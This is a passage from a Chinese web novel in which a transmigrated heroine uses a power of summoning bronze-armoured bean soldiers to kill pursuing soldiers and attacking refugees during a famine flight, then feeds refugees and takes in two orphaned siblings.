金冬梅在车内抱紧张如英和小兰,只想用身体护住就近她们,至少她大哥投鼠忌器,不会伤害她们。
谭敖从身上抽出一把藏着的匕首,下车勇敢地站到苏蓉身后,双目喷射熊熊怒火,看着金竹海。
金竹海厌恶无比。
“呵,竟然是你这个敢告发我的小崽子!”
苏氏果然站在与他彻底对立的一面。金竹海最后一丝犹豫消失,拔出佩刀,面色铁青下令。
“上,杀了她们!”
骑兵们蜂拥而上。
苏蓉无比淡定,发出两道命令,针对两名铜甲兵。
“保护我们!”
“杀掉金氏兄弟!”
两名铜甲兵刷地亮出武器。
一名甲兵手持长戈矗立苏蓉一行身前;一名甲兵纵身一跃,挥动两板巨斧,虎趟群羊般冲进一片黑色铁流中。
转瞬间,血肉横飞,哀号四起!
无数残肢断臂,飞跃在寒光之上,两名甲兵所向披靡。但凡沾着他们边的,一个照面被劈于马下,或则挑向天空。
头顶下了一场红色粘稠、腥气扑鼻的漂泊大雨!
苏蓉浑身溅满血污,微微闭上眼。
这一刻,她没有丝毫退缩害怕。
身逢乱世,是她最大的机遇与挑战!老天让她穿越、赐予她金手指,必定不是想让她憋屈过一生。
从今日开始,她要快意恩仇!
金竹海缓了一步,便见冲在前面的手下,全部卷进了鬼门关。他握紧手中刀柄,目眦欲裂。
这是……
岷郡王氏?
那夜行刺他的刺客!
而且还是双倍!
对方那普通人相貌,令他忽略了,将之当成叶清辞派出的护卫。
这种想法真致命!
回头一看,金安福早已魂飞胆丧,驱马逃跑。
他没来得及怨怼这个怕死自私的兄弟,一道刀光,霹雳而至,将金安福砍下马来!
马匹撒开四蹄狂奔,金安福头颅飞在天上,身子惯性骑在马上,腔子里咕嘟咕嘟血水往外喷溅。
金竹海亡魂皆冒,不再犹豫,拍马便逃。
但铜甲兵一板一眼执行主子命令,岂会再纵他脱逃。
这里可没有燕彬、叶清辞、傅振三大高手,及驻军所源源不断的军士来阻碍行动。
铜甲兵随手抓过一把飞来的大刀,轻轻一扭,一名骑兵惨叫坠地。铜甲兵连刀带着断臂,猛地掷向逃跑的金竹海!
拼命快马加鞭的金竹海只觉后背刺心一痛。
低下头,发现刀尖穿过肩胛骨,直透前胸!那股非人力气,带同他整个人飞起来,撞落马背。滚了数滚,一直滚下路边山坡,卡在一株树根中。
他圆睁双目,死死按住自己血流如注的伤口。刀断成两截,一对圆睁暴凸的眼睛,阖然闭上。
铜甲兵兀自在追杀幸存的骑兵,惨叫声震耳欲聋。但金竹海意识飘摇,已完全沉浸于一片黑暗中。
所有人亲眼看着金安福身首异处,金竹海大刀贯胸而出。
伴随两名铜甲兵解决最后一名逃窜骑兵,三百人只有寥寥无几的人逃脱生还,大家从心底长长呼出口气。敬畏无比地看向苏蓉。
这种战斗力,实在太恐怖了!
苏蓉若能多招来一些此类甲兵,组成一支军队,还不横扫天下,诸侯向她俯首称臣?
面对谭敖和巴阳,苏蓉想着一路会有的艰辛,不避讳对他们轻轻点头。
“我是术法师,会一些道法。你们所见,皆是幻术。”
巴阳握着从始至终,没机会派上任何用场的砍刀。浑身发抖,两眼直愣愣地看着一地修罗场。
短短一刻,杀掉近三百名官兵,包括金氏兄弟,你跟我说这是幻术?
有这么真实血腥的屠宰场吗?
想到临行叶清辞殷殷托付,让他保护好苏娘子,他沉默了。
这到底谁保护谁!
叶大人知道苏娘子有恐怖如斯的保镖吗?
谭敖想去再戳金竹海尸身几刀,但他毕竟是个孩子。如此残酷的地狱场景,多看一眼都会做噩梦。
腿一软,他向苏蓉跪了下去。
“大姐……”
泪流满面,却不知该说什么。
苏蓉扶起他,走回车边。
张如英抱着冬梅和小兰。哪怕自己听着车外面惨叫一片,闻着浓郁的血腥气欲呕,依旧死死把两人脑袋,按在自己怀里。
不让她们听,更不让她们看。
苏蓉撩起车帘,把瘫软的谭敖扶上车,与张如英对视一眼。
“巴叔,我们走!”
苏蓉招呼呆若木鸡的巴阳一声,自己也钻进车厢。
“喔……”
巴阳如同牵线木偶,机械地靠本能执行这个命令。两名铜甲兵悄然消失,他没有注意到。
马车驶出去很远,直到再闻不到那股血腥味,金冬梅才挣扎着从张如英的怀抱中爬起来。
面对苏蓉,满脸是泪。
“大姐……”
她轻声问:“你是不是已经杀了他们……”
苏蓉静静看着她。看了一会,道:“没错。”
张如英几人顿时紧张地注视金冬梅神色细微变化。唯恐她一个受不住,对苏蓉翻脸相向。
张如英再次紧紧拉住金冬梅的手,惴惴不安:“冬梅,是你大哥二哥先想要杀我们……”
若不是苏蓉有能力,她们现在已是一具冰冷的死尸。
“我知道。”
金冬梅眼泪直流下来。
片刻,挣脱张如英的手,转身抱住苏蓉。
“大姐,我跟金家彻底没关系了!我以后随你姓,也叫苏吧?”
苏蓉笑了,拥住她。
“名字只是个代号而已。叫什么不重要,重要的是,活出我们自己!”
张如英稍微撩开窗帘,冬日的寒风,钻进几缕,带走车厢内沉闷的气息。
巴阳赶着马车,向既定的目标狂奔。
她们绝没有想到,身后一片血腥中,金竹海的“尸身”,颤动了一下。
第126章 逃荒路
几匹马飞驰而过,见着路边遍地尸骸,血流成河,无主战马咴咴长鸣,惊异地放缓缰绳。
马上一位明眸皓齿,身着男装,却明显看得出是少女的骑士轻咦一声。
“这是……大靖二皇子的兵马,攻打到宜阳县来了?”
“应该不是。”
身旁男人摇头:“冬季寒冷,不方便开战,双方处于暂时休兵状态,在和谈。”
“那这是?”
少女眼神一动,忽然瞟见山路下,一具死尸似乎动弹了一下。随后,微弱的呻吟送入他们耳中。
“还有人活着!”
少女甩镫下马,快步跑向那个人。
身后男人着急:“公主,当心有诈!”
他紧跟跳下马想阻止的功夫,少女已用脚蹬住伤者肩头,把人翻了个面。
断掉的刀刃插在肩头,碰触间疼得对方又惨哼出口。但浑身没了力气,只能虚弱地微眯着眼,咬牙忍住闷哼。
“这家伙我认得!”
跟来的护卫惊呼:“他是宜阳县的督尉金竹海,怎么落到这幅田地了?”
“救我……”
金竹海意识不清,发出断续哀求的声音。
他知道,眼前这几人是他唯一活下去的机会。
若是无人肯施援手,他很快会因血流过多而死。
少女看着他那张棱角分明的脸,狗熊式的身材,明艳的脸上掠过一抹兴味。
“给他包扎止血!这个人,说不定对我们有用?”
“公主,这是个靖人……”
她的护卫们欲言又止。
少女双手叉腰,眼睛一瞪:“我说什么是什么,你们有意见?”
几名护卫面面相觑。没办法,只能七手八脚把金竹海从树根里拽出来,帮他草草上药包扎。
“小子,算你运气好!能不能挺过去,看你的命?”
金竹海被他们粗手粗脚,弄得再次疼晕了过去。
苏蓉等人压根没想到金竹海被甲兵刀捅成那样子,还能大难不死。
黄昏时分,他们将车停在靠近官道的地方。那里有一片林子,还有穿过林子的小溪,打算在此扎营过夜。
巴阳卸下车辕和马鞍,牵着马去刷洗和吃草,让劳累一天的大功臣,松快松快。
谭敖带着小兰捡拾枯枝树叶。张如英和金冬梅从行李中找出锅碗瓢盆,一点米粮,准备熬顿大锅饭。
苏蓉指挥三名铜甲兵,帮忙搭帐篷,清理营地,顺带巡视护卫己方一行安全。
她的金手指,经历宜阳县外一战,连升数级。目前能够一次性召唤三名甲兵,每天三次,一次四个时辰。
苏蓉索性将预先准备的几身男装让铜甲兵套身上,打扮成护卫,跟随马车一起行动。
反正豆子兵相貌不突出,一张大众脸。不吃不喝不睡如同门神,搁哪不需要操心,完全可以做到一天二十四小时无死角展示人前。
巴阳与之抬头不见低头见,愣是没看出这三名“护卫”,中途是换了人的,且一天换三次!
唯一缺点,铜甲兵太死心眼儿。
你让他往东,不会往西。但你让他扫地,你即便死他跟前,伸出手想让他救你一把,他绝不会丢下扫把!
召唤出来只做吩咐的一件事,绝不多做,做完便消失。
苏蓉需要精准把握时间,避开别人视线,及时替换下一位豆兵上场。
她可以让身边人知道她有这本事,但金手指的瑕疵,不能告诉任何人。
人心难测,即便是家人,也需有所保留。
苏蓉看着一名铜甲兵搭帐篷。另外两名得到护卫命令的铜甲兵,尽职尽责站在她身后戒备周围。
这条小溪边缘,不止她们这一行人逃荒,还有三五成群的流民,分散在溪流边。喝水、生火架锅,小声交谈。
放眼望去,她们这辆马车算是唯一的交通工具。
其他人衣衫褴褛,别说有帐篷什么,就是撸把乱草随地一趟。架起的缺口瓦罐,熬的大约是树皮草根之类,散发出难闻的怪味。
张如英原本想着大家累了一天,吃点稍好的。
见到周围投来数十上百道灼灼目光,如狼似虎。她默默又把拿出的丁点腊肉,偷偷塞回麻布口袋底层。
想来若不是苏蓉召唤出的三名甲兵着实块头大,威慑力惊人,早有人不顾死活扑上来了吧?
快要饿死的流民们心目中,哪里会有道德律法存在。
苏蓉默默坐在火堆旁边,眼角余光留意着周围的动静。
她压力山大。
尽管有铜甲兵,但对这些同样流离失所,眼见步入绝境的老百姓,她不能像对付金竹海之流痛下杀手吧?
她只希望这些人理智点,别贸然扑过来为难她们。
巴阳同样担心不可控的事发生。很快收拾好马,牵回来拴在车辕边。
马儿低头悠闲啃吃地面的青菜,围坐在营地火堆边的几人精神紧张。
过了会儿,张如英把粥熬好了,揭开锅盖,掰碎两块干饼子,搅和到稀粥里,再放上一点点咸菜。
这种大杂烩并不好吃,粗糙还划拉嗓子,但是,比起其他流民胡乱煮的树皮草根,不知是什么东西的残渣,如同琼浆美肴。
那种粮食特有的米香味麦香味飘散在空气中,就近的流民们不禁吞咽唾沫,转头看向她们的眼神,深沉几分。
铜甲兵手持长戈,威风凛凛站岗,压迫感十足,无人敢轻易靠近。
大家围坐一起,放心地吃喝。
苏蓉问巴阳:“巴叔,到云州安卫城,要走几天?”
“几天?”
巴阳端着碗喝粥,笑出声来:“起码得一个月啊,苏娘子!这还得是咱们在路上,没有遇到任何意外的情况。”
苏蓉难免沮丧。
古代交通不便利,她真是忽略这一点了。
闲着也是闲着,巴阳随口和她们说些沿途的风土人情。张如英好奇地问巴阳:“巴阳,你是哪里人?”
巴阳笑容淡下来。
“我是边陲小镇的乡民。那里三天两头交战,时不时有乱兵闯进村庄,烧杀抢掠。实在没办法,我们一家才流落到宜阳县来。”
苏蓉知道巴阳应该是举目无亲了,否则傅振不会说叶清辞帮巴阳报了血海深仇。
巴阳扬起眉毛,流露出释然的笑意:“大人承诺,只要我将你们顺利送到目的地,这辆马车就送给我,以后可以此为营生。”
他后半生的命运,实际与苏蓉她们绑在一起。
张如英还待细问,悉悉索索,有人朝他们靠近,顿时几人警惕地看过去。
第127章 疯狂流民
原来是位浑身黝黑、散发出异味的母亲,抱着自己的孩子。小心走到距离铜甲兵七八米的地方,不敢再靠近,跪在地上。
枯槁皱皮的脸上,满是疲惫和哀伤,用极其卑微的姿态,颤巍巍向他们伸出一只手。
“求……求求各位好心的老爷、太太、小姐……能不能给一点点吃的?我这孩子……快饿死了……”
她眼珠子一动不动盯着火堆上的那口锅,仿佛黑暗中只看见那一抹光明。
而她怀中的孩子,是个比方小兰还小的男孩。头大身子小,眼睛因为瘦而外凸。包裹一件成人旧外衣,露在外面的四肢皮包骨。
太吓人了。
即便苏蓉看过很多可怜的流民小孩,也没面前这个形销骨立。让人一眼看了,到做噩梦的地步。
张如英、巴阳几人看向苏蓉。
众目睽睽之下过来乞讨,其他流民全部看在眼里。给了这个,给不给那个?若是全都要给,他们带的三麻袋粮食,不够这么多人造的。
若是不给……
瞧着这可怜的母亲,快要死掉的孩子,无论如何,谁也说不出不给的话。
所以,被视为一行人领队的苏蓉,一下子感受到来自四面八方,无形的压力。
苏蓉看着把头重重碰在地面,空洞眼睛里没有一丝光亮的流民母亲,沉默片刻,轻轻开口。
“张婶子,给她一碗米粥,一个饼子。”
再多的,她帮不了。
金冬梅和小兰坐在苏蓉左右,面色纠结复杂。
丰定村被流民摧毁,令她们痛失家园。她们恨流民。可现在她们也成了流民,忍不住还要同情流民。
这一切,到底该怨谁?
流民母亲听到苏蓉的话,霍地抬头。顾不得额头皮肉擦破,涔涔淌血,忙从怀里掏出一个黑乎乎的东西,放在地面。
“谢谢好心的小姐!我们娘俩给您磕头了……”
抱着孩子,连连鞠躬。
张如英把那东西拿过来,发现是个小土罐,缺个大口子,底子裂了条缝,用不了多久。
但她们也没带多余的碗,将就舀了两勺粥,连同大饼,给对方送过去。
流民母亲趴着又冲苏蓉她们磕了个头,方才就地坐下。将孩子揽在怀里,颤颤巍巍,给孩子喂粥。
边喂边轻轻摇晃人事不醒的男孩。
“五儿……五儿……娘弄来吃的了,你快张张嘴……”
她根本不敢把吃食拿回原先呆的地方。
只要一拿回去,绝对一瞬间被周围饥饿的流民抢没了。
走到这里,只剩她们母子相依为命。会如此潦倒,也是因为她们母子根本没有自保之力。
好不容易从地里找到点能吃的东西,剥下能吃的树皮,转眼被人抢去。
她认准了苏蓉这行人,有马车,非富即贵。还带着孔武有力的侍卫,等闲人根本不敢冒犯。
苏蓉明白她的小心思,没出声,任由这对流民母子停留在营地周围,寻求庇护。
不过,有流民母子成功乞讨到食物的先例,其他人哪里还坐得住!
所有人蠢蠢欲动。
苏蓉几人准备继续吃饭时,轰的一下,附近眼睁睁目睹此情景的流民们,红着眼睛全部聚拢过来。
跪在地上,伸出自己双手或者递出脏兮兮的破碗,七嘴八舌苦苦哀求。
“小姐,好心的老爷,太太……我们也很久没有吃过东西了。求你们也给我们一点食物吧!”
流民母子吓得浑身哆嗦,赶紧抱着孩子爬到一边,逃过被乱脚踩死的命运。
“嗯?”
奉命守卫营地的三名铜甲兵,豹目环睁,手执沉重的长兵,重重顿在地面,发出响亮的敲击声。
胆怯的人因此止步。
但有不怕死,眼里只剩那口锅的,仗着身子灵活,硬是绕开甲兵,扑向那口锅。
甚而有不怀好意的,冲向苏蓉她们马车,准备来个法不责众,抢大户吃大户。有人带头,早就起了龌龊心思的流民们,竞相露出贪婪嘴脸。
张如英几人吓得惊呼。冬梅连忙护住小弟小妹,张如英操起菜刀。
“你们做什么?”
巴阳迅速起身扑到马车边上,抽出座位底下的砍刀。
但红了眼的流民哪管这么多,为首的精瘦汉子似乎是个带头的,一把推开巴阳,就要往车厢里爬。
巴阳举着砍刀,犹豫下没敢真砍下去,被几个脏兮兮的男流民顺势按在地上夺刀。
“杀了她们!”
“抢光这群为富不仁的狗东西!”
有人在混乱的人群中疯癫高喊:“她们马车上,一定有很多粮食……”
小兰吓哭了。谭敖面色发白。
一路走来,他见太多类似控制不住的场景了。一开始他就想提醒苏蓉,不要理会那对流民母子。
可是,想到自己也是这样被苏蓉救下来的。他在这个家仅仅是被收容的对象,没有发言权,不免犹豫。
这一犹豫,事态就走向了不可控的局面。
这么多流民疯狂起来,他们能够生还吗?
最怕的是这些已丧失理智的人,不但要抢他们的东西,还要他们的命!
苏蓉目光冷厉,目睹这群流民,披头散发,如同疯子似冲击自己营地。小兰发出害怕的哭声,让她原本有些踌躇的心,彻底变冷硬起来。
“甲兵,把闯进我们营地的人,全部扔出去!”
三名甲兵被召唤出来,就等她这声明确的命令了。
一闻令下,伸出蒲扇大的巴掌,飞出旋风般的二踢脚,举起又粗又长的冷兵器,将蝗虫般飞来粘在车厢上的流民,全部一个个捏住甩飞出去!
差点被压扁成为一张薄纸的巴阳,惊慌失措的张如英几人,抬头张口结舌,看着下一刻释放满空的烟花。
幸运的流民栽进路边草丛刨坑;不幸运想要挣扎反抗的,被铜甲兵毫不手软抛向天空,成为空中飞人!
伴随一道道凄厉惨叫,身先士卒抢大户的鲁莽恶徒,转眼去了阎王殿报道。侥幸没去成的,各种姿势悬挂树梢、趴在地上,也是缺胳膊断腿。
跟着跃跃欲试,打算趁火打劫的其他胆小流民,顿时龟缩原处,安静如鸡。庆幸自己犹豫,没来得及上前。
苏蓉冷眼看着铜甲兵以秋风扫荡落叶之势,解决一群不自量力的乌合之众,耳边响起系统不间断活跃的声音。
“恭喜,撒豆成兵金手指升级!”
第128章 最美妙动人的声音
“一粒豆子撒下,可成一兵!当前能撒豆成兵四人;每天三次,一次一个时辰。”
“恭喜!”
“当前撒豆成兵能同时召唤四人,每天三次,一次两个时辰……”
“恭喜……”
她微微闭上眼。
这,真是世上最美妙动人的声音。
一帮蠢货!
自不量力。
她若没有依仗,敢随便帮助那对可怜的流民母子吗?
如此看,这样的升级方式果然是最快的。
唇角上扬,苏蓉内心深处在悄然改变,某种不知名且汹涌的情绪,破茧而出。
果然,打铁还需自身硬。实力,决定一切!
张如英慢慢放下捂住方小兰眼睛和耳朵的手。
这么解气的情景,如此强悍的姐姐,小兰真应该好好看着,为之骄傲。而不该像怕事的乌龟,一直缩在自己壳里。
所有扑上来的流民解决后,苏蓉没睬遍地的哀叫和空气中散发浓郁的血腥味。总结自己金手指,突飞猛进,升级到可以同时召唤五名甲兵。
她起身招呼大家:“收拾东西,趁天色还亮着,我们换个地方扎营。”
见巴阳、张如英等人还愣着,解释一句:“这地方血腥太重,说不定会引来野兽。”
毕竟是树林,靠近大山。
大家这才醒悟过来,连忙收拾东西。
巴阳驱赶马车,绕过成堆哼哼唧唧的尸体或人,胆战心惊。
他还在叶大人面前胸有成竹打包票,定能保护好苏娘子,结果这不知谁保护谁?
而且城外局势的混乱、恶劣,远超他和叶大人预估。苏娘子若不是大大隐藏实力,他们只怕出行的第一天,便会悄无声息死在路上。
他们马车一动,身后传来响动。
回头一看,少数原本在远处观望、发抖的流民,其中竟然还有辆骡车,跟了上来。
那骡车破破烂烂,四面透风。车上一眼看去,没多少行李,只有一家子老弱妇孺,穿得破破烂烂,可能这是他们没被哄抢的原因?
不过马车夫是两名壮汉,和巴阳一样,神情彪悍。腰间佩刀,背负弓箭。
一般情况下,硬骨头不好啃,又没油水,比苏蓉她们看上去低调多了。
他们驾驶骡车,远远跟随苏蓉一行的马车。既不过分靠近,也保证不被甩掉。骡车之后,还有部分流民艰难挪动脚步,努力追随车辆。
“苏丫头,你看他们……”
张如英不安提醒苏蓉。
“不碍事。”
巴阳往后看一眼,甩个响鞭:“他们是觉得逃荒路跟着我们,比较有安全感。”
苏娘子方才大显神威,这些惶惶如同丧家犬的流民,不跟上来求保护才奇怪。哪怕苏蓉不会为他们出手,不妨碍他们呆在旁边求心理安慰。
果然苏蓉一行另外找个地方扎营,尾随上来的流民们也陆续停下,在周边薅草生火。
为了抢夺接近苏蓉一行的有利地段,流民们还争执、推搡打架。
苏蓉无语地把小兰按进帐篷里并头睡下。
“大家都快休息,不然影响明早赶路。”
她五名铜甲兵轮番召唤守夜,安全感爆棚。
刚躺下,只见那两名骡车车夫,大大方方将自家车停在附近,跳下车走过来,到距甲兵十来步的地方站定。
“请问,大哥你家主事的是谁?”
他们问的是守着马车火堆的巴阳。巴阳打量两人,一手握住砍刀,满脸警惕。
“你们是谁?快走开!”
苏娘子请来的护卫那么凶残,对方没见到吗?等惊动苏娘子,招呼这两人的就不是温和好说话的自己了。
为首的骡车车夫双手抱拳,弯腰恭敬施礼。
“我们兄弟姓陈,老家在云州安卫城。这一路山高水险,请的护卫死的死,跑的跑。”
他为难顿一下,厚着脸皮咨询:“今日见大哥你们实力雄厚,冒昧前来询问一声。能否路上结伴而行,以便相互间有个照应?”
“依照路途长远,我等愿意奉上谢礼!”
巴阳做不得主,把目光投向帐篷。
听到对方目的地和自家一样,苏蓉心中一动,撩开帐篷帘子,钻了出来。张如英等人也从帐篷探出脑袋看。
对方见苏蓉现身,虽然些许惊讶这么年轻的女子是一行人主事。甲兵虎视眈眈,也不敢怠慢,忙向苏蓉客气施礼。
苏蓉仔细观察这两名骡车车夫,眼神清明,形容间无猥琐之意。看上去倒是正派,不过知人知面不知心,世上衣冠禽兽还少吗?
她没拒绝对方请求,也没同意,淡淡道:“你们是什么人,去云州安卫城那么远的地方做什么?”
普通流民逃荒,背景不强硬,绝对难以过五关斩六将,一路向南,直到大靖的后方城市。
“我们家在云州安卫城。”
那陈姓车夫诚恳回答:“此次远行,奉母命接回远嫁边陲的姨母,表姐表弟几人。姨父于战火中不幸遇难,姨母她们无依无靠。”
他特意以诚示人,就是想打动苏蓉。有求于对方还故意隐瞒,完全没必要。
苏蓉知道对方确实是逃难百姓,没有过多危险性便不问了。只道:“萍水相逢,我们无意与他人结伴上路,保持距离更安全。”
陈姓车夫没有纠缠,说两句打扰表歉意的话,便和同伴返回自家营地。
苏蓉巡视周围,见之前救助过的流民母子,蜷缩在附近睡。没有驱赶,只是看了眼回到帐篷,抱着小兰继续睡觉。
天蒙蒙亮时,被一阵嘈杂声惊醒。
她帮小兰整理好衣裳头发,牵着手走出帐篷。只见张如英和金冬梅在准备早饭,谭敖与巴阳收拾行装,做好起程准备。
见苏蓉姐妹出来,金冬梅递上一块用热水打湿的帕子,让两人将就擦脸和手。
苏蓉一边简单洗漱,一边望向嘈杂声发源地,好奇问:“是不是出什么事了,我看那边人群扎堆?”
“方才我和张婶子去看过了……”
金冬梅面色苍白,隐含难过:“是昨日向我们讨食的那对流民母子……孩子撑不过夜没了。他娘万念俱灰,夜里偷偷寻了短见。”
“早晨才有人看见她的尸体吊在树上,孩子躺在脚边……”
说到这里,哽咽着说不下去。
苏蓉抓住帕子的手紧了紧,隔了会儿,慢慢松开。
第129章 吃肉呢还是吃肉
她起床时还在犹豫,要不要干脆把那对流民母子收留。反正对她而言,再养两个人其实能负担得起……
毕竟看着对方实在可怜。
没想到,等不到她开口,那孩子默默死去。半夜竟然没听到流民母亲哭喊,连自寻短见,对方也去那么远的地方,怕惊醒她吗?
可怜的人,其实并不一定可恨。
她们临死,还在维持自己卑微的骨气,怕给人添麻烦。
看一眼远处,流民们自发组织起来,由那陈姓车夫带头默默挖坑,将流民母子埋葬起来。还得往深处挖,以防被野狗刨出来。
苏蓉看眼架在火上的锅,粥咕嘟嘟往外冒气泡。
她下定决心开口。
“张婶子,多添两把米和水。待会有带着孩子、老人,家里无壮劳力的家庭,给她们一碗粥喝。”
逃荒路上,最先丢弃的是被视为累赘的老人,其次是女人和孩子。
有这三者存在的家庭,苏蓉愿意伸出援手。
张如英拿勺搅粥的手停下来,抬头看看苏蓉,没多做犹豫,点头:“好!”
转身去马车取米。
她吃苏蓉的,住苏蓉的,还受苏蓉一直庇护,没资格发言。
金冬梅本就难受流民母子的死。苏蓉做出决定,她反倒是宽慰不少,急忙站起来帮忙去溪边提水。
车里带那么多粮食呢,她们每顿少吃点,省下口粮,也够救活几个人了。
苏蓉坐下来,手一挥,吩咐一名铜甲兵就近去山林中狩猎。
这次学精明了,不点名要野鸡野兔,但凡能吃的野兽,都给她弄回来。
金手指连升这么多级,如果还是只能捕捉两只野鸡和野兔,她都不相信。
能以一挡千的铜甲兵,以前肯定是她使用方法不对!
粥的香味儿飘散出来时,周围眼巴巴看着的流民,不约而同离远了些。生怕控制不住自己,干出像昨日那些流民的愚蠢行径。
食物味道固然吸引人,可也要有命享才行。
苏蓉让大家先吃饱,随后让巴阳去喊话,让那些流民孩子、老人、体弱的妇女,过来领粥。
至于男人,无论和平时期还是战乱时期,都会优先让他们吃饱。她粮食有限,就不照顾这部分人了。
领到粥的人宁愿饿死,也要送回去奉献给自家男人,那是自己选择的命运,她尊重。
不一会儿,得到消息的流民们在苏蓉一行的营地外,排成一列长队。
捧着自己的碗分到大勺热气腾腾的粥,个个喜极而泣,对苏蓉等人千恩万谢。
苏蓉默默看了看,来领粥的确实都是老弱妇孺。看来这批跟着她们行动的流民,品行尚算老实。
见了她举动,那陈姓车夫也架起大锅熬粥,主动施粥给那些饥寒交迫的流民。
整个荒野里,流淌着和谐温馨的气氛。
待要出发时,派出狩猎的铜甲兵满载而归。
手一松,肩膀挎的,背后负的,手里提的,肋窝夹的,噼噼啪啪掉下来一堆东西,像下了一阵雨。
张如英等人定睛一瞧。
好家伙!
野鸡野兔野孢子野猪野狗野狼,少说十几只。其中包含几根长长的辣条和圆滚滚的山鼠。
苏蓉默默捂住脸。
幸好她稍微保守了下,只派出一名豆子兵,时间还做了限制。不然,这金手指不得给她把老虎狗熊抬回来呀?
眼见铜甲兵丢下猎物,瞬间便要当众消失,她急忙掷出一粒豆子,重新召唤甲兵,替代完成任务的那位。
众人眼睛直勾勾盯着地上一堆猎物。谁也没发现所谓的侍卫,身影消失的地方又有一名侍卫突兀出现。
“姐姐……肉……”
小兰不争气地流下口水。她还是习惯叫苏蓉为“姐姐”,而不是“大姐”。
前一刻张如英几人还心疼施舍掉的粥,此刻谁还记得那一点糙米?个个两眼冒光,想着下一顿吃肉呢还是吃肉?
这边动静大,一些流民和营地相邻近的陈家人自然看见了。
流民们又眼馋又害怕。
连一名普通侍卫都这么厉害,苏蓉一行实力深不可测。谁敢招惹?
陈家两兄弟则是佩服无比。
他们之前护卫众多时,也曾进山入林,想办法狩猎改善伙食。但花费大力气,捕捉到一只野兔都不容易。
人家这护卫简直了……
难怪昨日一出手,所有不怀好意的人全部上了天。
他们再一次坚定自己的打算。
一定要跟随苏蓉一行走!哪怕苏蓉没有答应保护他们,跟这样的队伍一起上路,安全感也是大增。
何况看着苏蓉施粥给流民,他们断定苏蓉是那种嘴硬心软的人。
陈家两兄弟商议一下,陈家大哥再次来到苏蓉一行的营地边,找苏蓉交涉。
“苏娘子,我姨母受惊过度,一路萎靡不振。能否卖我们一两只猎物,好给老人孩子改善下伙食?”
说着,掏出五十两银票。
这钱平时可以购买一堆这样的野物。但陈家兄弟甘心情愿掏钱,归根结底还是想借此与苏蓉打好关系。
苏蓉略微踌躇。
这么多猎物,逃荒路不好保存。就算是冬天,放久了也会臭,马车装不下。她便点头应许。
“十两银子,你随便挑三样带走。”
一堆猎物里面,最贵的是狼皮,不过那要鞣制得好才值几两银子。而现在最珍贵的是肉,狼肉不好吃,没大料压不下那味。
故而苏蓉让陈家兄弟自己挑。她少赚一点,对方也不吃亏。
至于对方想送钱的深意,她明白。只是非亲非故,她不愿意担当对方的保护神。
这两兄弟,一辆车拉了老少七八个人。
除了那姨母和一个男孩,其他全是女人。个个年轻,相貌姣好。哪怕荆钗布裙,掩不住她们矜贵的气质。这是非常棘手的一行拖累!
她不介意对方尾随自己。但特意寻求保护,不能。她甲兵有限,关键时刻只会安排去保护自己人。
陈家兄弟见她态度坚决,十分失望。对视一眼,陈家大哥从怀里掏出十两碎银,递给苏蓉。
“多谢苏娘子,那我们就随便带走三只猎物。”
第130章 阿花姐弟
苏蓉扫视一眼,见陈家兄弟拿走的是一头狼尸,一只山鼠,还有根辣条。暗想这两兄弟确实会做人,半点不贪。
拿走的都是一堆猎物中,性价比最低的。
巴阳积极撸起袖子。
“听说这蛇胆泡酒最补人!我来帮忙处理,苏娘子把这蛇胆赏我就行。”
苏蓉不在意道:“巴叔,我们一起的,你看中什么,只管拿就是。”
没有巴阳赶马车,这一路走下去,她们几个女人孩子,不知遭多少罪。
巴阳听了她这话,分外高兴。不是高兴自己所求对方同意,而是开心对方认可自己存在的价值。
一开始出发,他把自己摆在保护者和领队的位置。现在觉得,能被苏蓉承认为同伴,是了不得的殊荣。
他兴冲冲加入张如英和金冬梅收拾猎物的行列。
有他招呼几根辣条,张如英和金冬梅松了口气。倒不是不敢吃或不会烹饪,而是这玩意儿长相着实狰狞,她们有点害怕其还是完整的阶段。
巴阳拿出绳子把辣条挂起来,掏出匕首。先在其躯干三分之一处取出蛇胆,晾晒在树叶上。
随后用刀在其脑袋下划开小口,逮住皮慢慢往下撕扯,很快一张整皮便剥离出来。
辣条头剁掉埋了,白花花的身子斩成几段,张如英便敢接过去处理了。洗干净码上粗盐,金冬梅生火慢慢烘干。
谭敖胆子大,能给巴阳打下手。方小兰对狼更感兴趣,蹲在猎物堆边,用手指不停戳狼硬邦邦的尸体。
苏蓉准备加入,不然等这么多猎物收拾完,今天不用出发了。刚抬脚,一道怯生生的声音传来。
“我……我家是猎户,会鞣制皮……我能帮忙……”
大家回头一看,只见一个十二三岁的瘦小丫头,实际年龄可能更大些,穿着包浆破烂棉衣,露出里面乱絮。不安绞手指站在远离甲兵的地方。
她身后还有个包浆男孩,比谭敖稍小,抓住她衣角,视线没从一堆猎物上面移开过。
不知是不是寒冷的原因,两人都在轻微瑟瑟发抖。
苏蓉皱眉。
她记得这对姐弟。
张婶子刚施出去的一碗粥,这女孩便端回去全部喂给了她的弟弟。自己饿得不行,扯路边的草根胡乱塞进嘴里。
这家没有大人,姐弟俩相依为命。
她一点不觉得这姐姐全心全意为弟弟的行为,有什么可供赞誉的。
明明可以一人一半,她非得全部给弟弟。弟弟同样不懂事,见姐姐饿得吃草根,也心安理得一个人吃独食。
她知道这时代很多家庭,女性活得都这样卑微。而所有人包括女性自己,觉得这是天经地义的。
真是恨其不争,哀其不幸。
但现在她不帮忙,这小女孩可能很快支撑不下去。而小女孩一死,依赖姐姐的小男孩只能步其后尘。
她默默叹口气,走过去俯下身子,与那小女孩对视:“你想要什么?”
小女孩不敢看她的眼睛,低着头紧张地握紧弟弟的手:“我、我们帮忙鞣皮,请……请给我们一个饼子,好吗?”
一个干饼子,掰碎能撑两三天,比一碗稀粥强多了。
“你家人呢?”
苏蓉忍不住问。
“他们都饿死在路上了。”
小女孩眼睛灰蒙蒙的。她不知道能带领弟弟走多远。她饿得随时会倒地不起,而她弟弟……
只会一个劲向她哭诉:饿,姐姐我好饿!
她努力控制住情绪,抬头望向苏蓉。
她知道自己姐弟能不能活下去的关键,或许在这个强大、又有善心的姐姐身上。
“你叫什么?”
“阮阿花。”
阮阿花不忘介绍自己弟弟:“他叫阮成泰,启过蒙,认两个字。”
她意思,她弟弟很聪明,有用?
苏蓉笑意不达眼底:“好,你们姐弟帮忙处理野物,鞣制皮毛吧。做得好,我给你们合理报酬。”
阮阿花眼里闪烁出光彩,拉着弟弟,深深向她弯腰施礼:“谢谢姐姐!”
张如英倒想瞧瞧这猎户女儿的本事,递给她一把小刀。
阮阿花哄弟弟在边上等,接过刀,手脚利落开始处理一只野兔。
苏蓉等人在旁边看,见这女孩确实是个干活的人。三两下剥完皮,将肉剁成块,便用兽尸开颅的脑汁鞣制皮毛。
